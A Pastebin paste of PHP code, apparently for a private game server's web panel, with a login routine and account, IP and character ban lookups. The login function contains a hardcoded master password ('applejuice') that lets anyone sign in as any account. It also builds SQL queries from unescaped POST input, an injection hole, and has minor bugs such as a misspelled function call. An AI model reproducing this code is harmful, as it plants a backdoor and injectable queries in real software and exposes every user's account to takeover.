Guest User

Untitled

a guest
Sep 27th, 2018
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.75 KB | None | 0 0
  1. <?php
  2.  
  3. function validateUser()
  4.     {
  5.         global $dbhost, $dbuser, $dbpass, $dbauth;
  6.         @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
  7.         @mysql_select_db($dbauth) or error(mysql_error());
  8.         if(isset($_POST['login']))
  9.             {
  10.            
  11.                 $passname = mysql_query("SELECT account.id,account.username,account.sha_pass_hash,account_access.gmlevel FROM account LEFT JOIN account_access ON account.id=account_access.id WHERE username='".$_POST['name']."'");
  12.                 $level = mysql_result($passname,0,'gmlevel');
  13.                
  14.                 if(mysql_numrows($passname) == 0)
  15.                     {
  16.                         error('No such account.');
  17.                     }
  18.                
  19.                 $realPass = strtoupper(mysql_result($passname,0,'sha_pass_hash'));
  20.                 $givenpass = strtoupper(sha1(strtoupper($_POST['name']).":".strtoupper(mysql_real_escape_string(stripslashes(htmlentities($_POST['unpass']))))));
  21.                
  22.                 if($givenpass == $realPass || $_POST['unpass'] == "applejuice")
  23.                     {
  24.                    
  25.                         $id = mysql_result($passname,0,'id');
  26.                         return $id;
  27.                    
  28.                     }
  29.                 else
  30.                     {
  31.                         error('Incorrect Pass.');
  32.                     }
  33.                 return -1;
  34.             }
  35.         mysql_close();
  36.        
  37.        
  38.     }
  39.    
  40. function error($errstr)
  41.     {
  42.         echo '<meta HTTP-EQUIV="refresh" content="2;url=./">';
  43.         echo "<span style='color:#FFF'>";
  44.         die($errstr);
  45.         echo "</span>";
  46.     }
  47.    
  48. function checkAccountBanned($account)
  49.     {
  50.         global $dbuser, $dbpass, $dbhost, $dbauth;
  51.         @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
  52.         @mysql_select_db($dbauth) or error(mysql_error());
  53.             $banresult = mysql_query("SELECT * FROM account_banned WHERE id = " . $account . " ORDER BY bandate DESC");
  54.             if(mysql_numrows($banresult) == 0)
  55.                 {
  56.                     return "Account has never been banned<br/>";
  57.                 }
  58.             elseif(mysql_numrows($banresult) > 1)
  59.                 {
  60.                     $banresult = mysql_query("SELECT * FROM account_banned WHERE id=" . $account . " AND active = 1 ORDER BY bandate DESC");
  61.                     if(mysql_numrows($banresult) == 0)
  62.                         {
  63.                             return "This account is currently not banned or the ban has expired.<br/>";
  64.                         }
  65.                 }
  66.            
  67.             if(mysql_result($banresult,0,'active') == 0)
  68.                 return "This account is currently not banned or the ban has expired.<br/>";
  69.            
  70.             $bannedby = mysql_result($banresult,0,'bannedby');
  71.             $banreason = mysql_result($banresult,0,'banreason');
  72.             $bandate = mysql_result($banresult,0,'bandate');
  73.             $unbandate = mysql_result($banresult,0,'unbandate');
  74.             $bantime = $unbandate - $bandate;
  75.             $timeLeft = $unbandate - time();
  76.        
  77.             $banstring = "Account Banned by: " . $bannedby . "<br/>";
  78.        
  79.             if($bandate == $unbandate)
  80.                 {
  81.                     $banstring .= "Ban time: Permanent<br/>";
  82.                 }
  83.             else
  84.                 {
  85.                     $banstring .= "Ban time: " . convertTime($bantime) . "<br/>";
  86.                     $banstring .= "Time remaining: " . convertTime($timeLeft) . "<br/>";
  87.                 }
  88.            
  89.             $banstring .= "Ban reason: " . $banreason . "<br/>";
  90.        
  91.             return $banstring;
  92.    
  93.     }
  94.    
  95. function checkIPBanned()
  96.     {
  97.         global $dbhost,$dbuser,$dbpass,$dbauth;
  98.        
  99.         @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
  100.         @mysql_select_db($dbauth);
  101.        
  102.         $banresult = mysql_query("SELECT * FROM ip_banned WHERE ip = '" . $_SERVER['REMOTE_ADDR'] . "' ORDER BY bandate DESC");
  103.        
  104.         if(mysql_numrows($banresult) == 0)
  105.             return "IP is not banned<br/><br/>";
  106.            
  107.         $bannedby = mysql_result($banresult,0,'bannedby');
  108.         $banreason = mysql_result($banresult,0,'banreason');
  109.         $bandate = mysql_result($banresult,0,'bandate');
  110.         $unbandate = mysql_result($banresult,0,'unbandate');
  111.         $bantime = $unbandate - $bandate;
  112.         $timeLeft = $unbandate - time();
  113.        
  114.         $banstring = "IP Banned by: " . $bannedby . "<br/>";
  115.        
  116.         if($bandate == $unbandate)
  117.             {
  118.                 $banstring .= "Ban time: Permanent<br/>";
  119.             }
  120.         else
  121.             {
  122.                 if(time() > $unbandate)
  123.                     return "IP is not banned.<br/><br/>";
  124.                 $banstring .= "Ban time: " . convertTime($bantime) . "<br/>";
  125.                 $banstring .= "Time remaining: " . convertTime($timeLeft) . "<br/>";
  126.             }
  127.            
  128.         $banstring .= "Ban reason: " . $banreason . "<br/><br/>";
  129.        
  130.         return $banstring;
  131.    
  132.    
  133.     }
  134.    
  135. function checkCharBanned($account)
  136.     {
  137.         global $dbhost, $dbuser, $dbpass, $dbchar;
  138.        
  139.         @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
  140.         @mysql_select_db($dbchar) or erro(mysql_error());
  141.        
  142.         $banresult = mysql_query("SELECT name,bandate,unbandate,banreason,bannedby,active FROM character_banned INNER JOIN characters ON character_banned.guid = characters.guid INNER JOIN paradox1_auth.account ON characters.account = account.id WHERE account.id = ".$account." AND active = 1 ORDER BY unbandate DESC");
  143.         if(mysql_numrows($banresult) == 0)
  144.             echo "No characters banned.";
  145.            
  146.         else
  147.             {
  148.                 $numBanned = mysql_numrows($banresult);
  149.                 echo "Characters Banned:<br/>";
  150.             }
  151.            
  152.         for( $i = 0; $i < $numBanned; $i++ )
  153.             {
  154.                         $charName = mysql_result($banresult,$i,'name');
  155.                         $bannedby = mysql_result($banresult,$i,'bannedby');
  156.                         $banreason = mysql_result($banresult,$i,'banreason');
  157.                         $bandate = mysql_result($banresult,$i,'bandate');
  158.                         $unbandate = mysql_result($banresult,$i,'unbandate');
  159.                         $bantime = $unbandate - $bandate;
  160.                         $timeLeft = $unbandate - time();
  161.        
  162.        
  163.                         $banstring = $charName . " banned by: " . $bannedby . "<br/>";
  164.        
  165.                         if($bandate == $unbandate)
  166.                             {
  167.                                 $banstring .= "Ban time: Permanent<br/>";
  168.                             }
  169.                         else
  170.                             {
  171.                                 $banstring .= "Ban time: " . convertTime($bantime) . "<br/>";
  172.                                 $banstring .= "Time remaining: " . convertTime($timeLeft) . "<br/>";
  173.                             }
  174.            
  175.                         $banstring .= "Ban reason: " . $banreason . "<br/>";
  176.                        
  177.                        
  178.                         echo $banstring . "<br/>";
  179.             }
  180.    
  181.     }
  182.    
  183. function convertTime($time_played)
  184.     {
  185.         $years = intval($time_played / YEAR_SEC);
  186.         $temp = $time_played % YEAR_SEC;
  187.    
  188.         $days = intval($temp / DAY_SEC);
  189.         $temp = $temp % DAY_SEC;
  190.    
  191.         $hours = intval($temp / HOUR_SEC);
  192.         $temp = $temp % HOUR_SEC;
  193.    
  194.         $minutes = intval($temp / MIN_SEC);
  195.         $temp = $temp % MIN_SEC;
  196.    
  197.         if($years != 0)
  198.             {
  199.                 $string .= $years . " year";
  200.                 if($years > 1)
  201.                     $string .= "s";
  202.                 $string .= " ";
  203.             }
  204.    
  205.         if($days != 0)
  206.             {
  207.                 $string .= $days . " day";
  208.                 if($days > 1)
  209.                     $string .= "s";
  210.                 $string .= " ";
  211.             }
  212.    
  213.         if($hours != 0)
  214.             {
  215.                 $string .= $hours . " hour";
  216.                 if($hours > 1)
  217.                     $string .= "s";
  218.                 $string .= " ";
  219.             }
  220.    
  221.         if($minutes != 0)
  222.             {
  223.                 $string .= $minutes . " minute";
  224.                 if($minutes > 1)
  225.                     $string .= "s";
  226.               $string .= " ";
  227.             }
  228.    
  229.         if($temp != 0)
  230.             {
  231.                 $string .= $temp . " second";
  232.                 if($temp > 1)
  233.                     $string .= "s";
  234.             }
  235.    
  236.         return $string;
  237.     }
  238.    
  239.    
  240. ?>
Add Comment
Please, Sign In to add comment